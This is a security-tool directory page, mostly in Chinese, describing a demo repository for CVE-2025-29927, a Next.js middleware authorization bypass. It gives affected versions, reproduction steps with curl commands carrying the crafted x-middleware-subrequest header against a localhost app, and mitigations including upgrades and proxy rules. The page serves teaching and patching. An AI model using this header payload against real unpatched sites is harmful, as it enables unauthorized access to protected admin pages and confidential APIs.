Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nextjs-cve-demo — 演示 Next.js 中的 Middleware 授權繞過漏洞 (CVE-2025-29927) 允許未經授權的用戶存取受保護的資訊。 | Kitploit
工具/GitHubGitHub/lstudlo/nextjs-cve-demo
身份验证与授权漏洞分析Web应用程序漏洞利用API安全测试错误配置学习与教育
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

演示 Next.js 中的 Middleware 授權繞過漏洞 (CVE-2025-29927) 允許未經授權的用戶存取受保護的資訊。

查看仓库
231年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

範例: Authorization Bypass in Next.js Middleware (CVE-2025-29927)

這個 Repo 提供範例專案,演示 Next.js 中的 Middleware 授權繞過漏洞 (CVE-2025-29927)。此漏洞允許未經授權的用戶訪問受保護的資源。

漏洞概述

CVE-2025-29927 是一個嚴重的安全漏洞(CVSS 評分:9.1),影響 Next.js 的 middleware 系統。攻擊者可以通過在 HTTP 請求中添加特製的 x-middleware-subrequest header 來完全繞過 middleware 的安全檢查。

受影響版本

  • Next.js 11.1.4 至 13.5.6
  • Next.js 14.x 版本低於 14.2.25
  • Next.js 15.x 版本低於 15.2.3

漏洞影響

  • 授權繞過:攻擊者可以訪問受保護的路徑(如 /admin)而無需認證
  • API 安全繞過:可以訪問受保護的 API 端點(如 /api/confidential)
  • 安全 header 繞過:如果 CSP、HSTS 等安全 header 在 middleware 中設置,也會被繞過

前置作業

  1. 已安裝 Node.js 和 npm
  2. cd 進入資料夾,執行 npm install 安裝 dependencies
  3. 執行 npm run dev 啟動 Next.js 開發伺服器
  4. 在瀏覽器中打開 http://localhost:3000 即可看到目前的網站畫面

了解漏洞原理

Next.js 使用內部 header x-middleware-subrequest 來防止 middleware 的遞迴呼叫造成無限循環。然而,這個 header 可以被外部請求利用。當請求包含此 header 並達到最大遞迴深度(MAX_RECURSION_DEPTH)時,Next.js 會完全跳過 middleware 執行。

如何重現漏洞

步驟 1:正常訪問受保護路徑(會被阻擋)

首先,嘗試正常訪問受保護的路徑:

root@kitploit:~
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v

預期結果:會被重定向到登入頁面(302 redirect to /login)

root@kitploit:~
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v

預期結果:返回 401 Unauthorized 錯誤

步驟 2:使用漏洞繞過 Middleware

現在,使用特製的 header 來繞過 middleware:

root@kitploit:~
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

預期結果:成功訪問管理員頁面內容(200 OK)

root@kitploit:~
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

預期結果:成功訪問 API 並獲得機密資訊(200 OK)

步驟 3:使用瀏覽器測試

你也可以使用瀏覽器的開發者工具來測試:

  1. 打開瀏覽器開發者工具(F12)
  2. 切換到 Network 標籤
  3. 使用 ModHeader 擴展或類似工具添加 header:
    • Header Name: x-middleware-subrequest
    • Header Value: middleware:middleware:middleware:middleware:middleware
  4. 訪問 http://localhost:3000/admin/dashboard
  5. 你應該能看到管理員頁面內容,而不是被重定向

漏洞解釋

當 middleware 接收到包含 x-middleware-subrequest header 的請求時:

  1. Next.js 認為這是一個內部遞迴呼叫
  2. 當 header 值包含足夠多的 middleware 標記時(5 次重複),會觸發 MAX_RECURSION_DEPTH 限制
  3. 為了避免無限循環,Next.js 會完全跳過 middleware 執行
  4. 請求直接到達目標路由,繞過所有安全檢查

修復方案

1. 升級 Next.js 版本

升級到已修復的版本:

  • 12.x: 升級到 12.3.5 或更高
  • 13.x: 升級到 13.5.9 或更高
  • 14.x: 升級到 14.2.25 或更高
  • 15.x: 升級到 15.2.3 或更高

2. 臨時緩解措施

如果無法立即升級,可以在反向代理(Nginx、Apache 等)層面阻擋包含 x-middleware-subrequest header 的請求:

Nginx 配置範例:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Apache 配置範例:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. 深度防禦

除了 middleware 外,在路由處理器中也實施認證檢查:

root@kitploit:~
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
    // 不要只依賴 middleware,在這裡也檢查認證
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 處理請求
}

參考資料

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 Details
  • Next.js Middleware Documentation
下载工具